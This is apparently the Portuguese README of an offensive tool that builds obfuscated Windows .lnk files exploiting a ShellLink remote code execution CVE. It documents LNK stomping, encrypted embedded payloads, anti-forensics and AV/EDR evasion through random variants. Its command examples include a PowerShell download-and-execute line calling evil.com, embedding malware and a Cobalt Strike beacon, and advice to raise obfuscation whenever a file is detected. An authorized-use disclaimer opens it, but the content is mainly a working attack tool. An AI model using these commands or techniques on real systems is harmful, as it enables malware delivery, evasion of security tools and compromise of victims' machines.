
Gera arquivos .lnk ofuscados explorando o CVE-2026-21510 com LNK stomping, payloads criptografados e antiforense para testes de penetração autorizados e operações de red team.
README EpSiLoNPoInTlnk CVE-2026-21510 - Gerador de .LNK Ferramenta para geração de arquivos .lnk usando a vulnerabilidade CVE-2026-21510 (Windows ShellLink Remote Code Execution). Projetada para pesquisa em segurança ofensiva, testes de penetração autorizados e análise de vulnerabilidades.
Aviso Legal ⚠️ ESTA FERRAMENTA É DESTINADA EXCLUSIVAMENTE A USO LEGAL E AUTORIZADO. Qualquer uso não autorizado contra sistemas ou redes violaria as leis locais e internacionais (ex: Computer Fraud and Abuse Act (CFAA), GDPR, Lei Godfrain na França). O autor se isenta de qualquer responsabilidade em caso de uso indevido. (Consulte a Cláusula de Isenção de Responsabilidade abaixo.)
Descrição Este gerador cria arquivos .lnk ofuscados para explorar a CVE-2026-21510, uma vulnerabilidade no processamento de atalhos do Windows. Ele integra:
LNK Stomping (5 variantes: dot, path_segment, relative, double_extension, unicode)
PropertyStore com CLSIDs aleatórios e PKEYs
KnownFolderDataBlock (KnownFolderIDs aleatórios ou direcionados)
EnvironmentVariableDataBlock (ofuscação Unicode, variáveis dinâmicas)
Ofuscação (Níveis 1-5: TrackerDataBlock, ConsoleDataBlock, blocos aleatórios)
Payloads embutidos e criptografados (AES-256-CBC + XOR)
Anti-Forense (timestamps zerados, tamanho do arquivo zerado, metadados mínimos)
Contorno de EDR/AV (processos legítimos, argumentos ofuscados em PowerShell)
Geração de variantes aleatórias (10+ variantes únicas para evitar assinaturas)
Pré-requisitos Sistema SO: Windows (para testar os .lnk gerados) ou Linux/macOS (para a geração).
Python: ≥ 3.10. Dependências: pip install pycryptodome
Ferramentas Recomendadas Análise: PEStudio, Detect It Easy (DIE)
Debug: x64dbg, WinDbg
Testes: Máquina virtual Windows (ex: Windows 10/11 no VirtualBox) isolada.
Instalação Clonar o repositório: git clone https://github.com/EpSiLoNPoInT/EpSiLoNPoInTlnk.git cd EpSiLoNPoInTlnk Instalar as dependências: pip install -r requirements.txt (Opcional) Criar um ambiente virtual: python -m venv venv source venv/bin/activate # Linux/macOS venv\Scripts\activate # Windows
Uso
Geração Básica python lnkstomperpoint.py --target "C:\Windows\System32\cmd.exe" --args "/c calc.exe" --output exploit.lnk Gera um .lnk usando a CVE-2026-21510 para executar o calc.exe.
Opções Avançadas Opção Descrição Valor padrão --target Caminho alvo (ex: C:\Windows\System32\cmd.exe) C:\Windows\System32\cmd.exe --args Argumentos para o alvo (ex: /c whoami) /c calc.exe --output Caminho de saída do .lnk ./EpSiLoNPoInTlnk_[TIMESTAMP].lnk --working-dir Diretório de trabalho C:\Windows\System32 --description Descrição do atalho String aleatória --unc Usar caminho UNC (?\C:...) False --lnk-stomping Ativar o LNK Stomping True --stomping-variant Variante de LNK Stomping (dot, path_segment, relative, double_extension, unicode, random) random --obfuscation Adicionar blocos ExtraData inúteis True --obfuscation-level Nível de ofuscação (1-5) 5 --embed-payload Caminho para um arquivo a ser embutido (ex: payload.bin) None --encrypt-payload Criptografar o payload (AES-256-CBC + XOR) True --anti-forensics Aplicar técnicas anti-forenses True --randomize-clsid Randomizar o CLSID no PropertyStore True --randomize-known-folder Randomizar o KnownFolderID True --obfuscate-arguments Ofuscar os argumentos (PowerShell) True --generate-variants Gerar N variantes aleatórias 0 --debug Modo debug avançado (logs detalhados) False
Exemplos
Exemplo 1: Exploit com Payload Embutido
python lnkstomperpoint.py
--target "C:\Windows\System32\cmd.exe"
--args "/c payload.exe"
--embed-payload ./malware.bin
--output exploit_with_payload.lnk
--obfuscation-level 5
--anti-forensics
Gera um .lnk com um payload criptografado (AES-256 + XOR) e ofuscado.
Exemplo 2: Geração de 10 Variantes Aleatórias
python lnkstomperpoint.py
--target "C:\Windows\System32\powershell.exe"
--args "-nop -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/shellcode.ps1')"
--generate-variants 10
--output-dir ./variants
Cria 10 variantes únicas para evitar assinaturas de EDR/AV.
Exemplo 3: Modo Minimalista (para testes)
python lnkstomperpoint.py
--target "C:\Windows\System32\notepad.exe"
--obfuscation False
--anti-forensics False
--output minimal_exploit.lnk
Gera um .lnk não ofuscado (para análise ou debug).
Funcionamento Técnico
Cabeçalho ShellLink (0x4C bytes fixos + offsets): LinkCLSID: 00021401-0000-0000-C000-000000000046 (obrigatório). LinkFlags: Configurado para ativar HasRelativePath, HasWorkingDir, IsUnicode, etc.
StringData: RelativePath: Caminho alvo (com LNK Stomping se ativado). WorkingDir: Diretório de trabalho (ex: C:\Windows\System32). Arguments: Argumentos ofuscados (PowerShell, cmd, etc.).
Blocos ExtraData (ordem crítica): PropertyStoreDataBlock: Contém PKEY_AppUserModel_ID (CLSID aleatório). KnownFolderDataBlock: Aponta para uma pasta do sistema (ex: %SystemRoot%). EnvironmentVariableDataBlock: Força a expansão das variáveis antes do Mark-of-the-Web (MotW). Blocos de Ofuscação (conforme obfuscation_level): TrackerDataBlock (Nível 1) ConsoleDataBlock (Nível 2) DarwinDataBlock, ShimDataBlock, etc. (Níveis 3-5)
Payload Embutido (se --embed-payload): Criptografado com AES-256-CBC + XOR.
O payload é criptografado com AES-256-CBC (chave aleatória de 32 bytes, IV de 16 bytes).
Uma camada XOR é aplicada com os primeiros 16 bytes da chave AES.
A chave e o IV são armazenados em um ShimDataBlock para descriptografia posterior.
Testes e Validação
O tamanho mínimo do arquivo.
A validade do HeaderSize e do CLSID.
A presença dos LinkFlags necessários.
A estrutura dos blocos ExtraData (PropertyStore, KnownFolder, etc.).
Execução (em um ambiente isolado): Clicar duas vezes no .lnk e observar o comportamento. Usar Process Monitor (ProcMon) para analisar as chamadas de sistema.
Detecção EDR/AV: Testar com ferramentas como Windows Defender ou CrowdStrike. Se o .lnk for detectado, aumentar o obfuscation_level ou desativar certas opções.
Casos de Uso Cenário Comando Descrição Teste de Penetração --target "C:\Windows\System32\cmd.exe" --args "/c whoami" Verifica se o exploit funciona em uma máquina alvo. Red Team --embed-payload ./cobaltstrike_beacon.bin --obfuscation-level 5 Gera um .lnk com um payload Cobalt Strike ofuscado. Pesquisa --generate-variants 50 --output-dir ./samples Cria 50 variantes para testar detecções de EDR. Debug --debug --obfuscation False Exibe logs detalhados para analisar a estrutura do .lnk. Contribuições As contribuições são bem-vindas! Veja como contribuir:
Faça um fork do projeto.
Crie uma branch (git checkout -b feature/minha-nova-funcionalidade).
Commit suas alterações (git commit -m "Adição da funcionalidade X").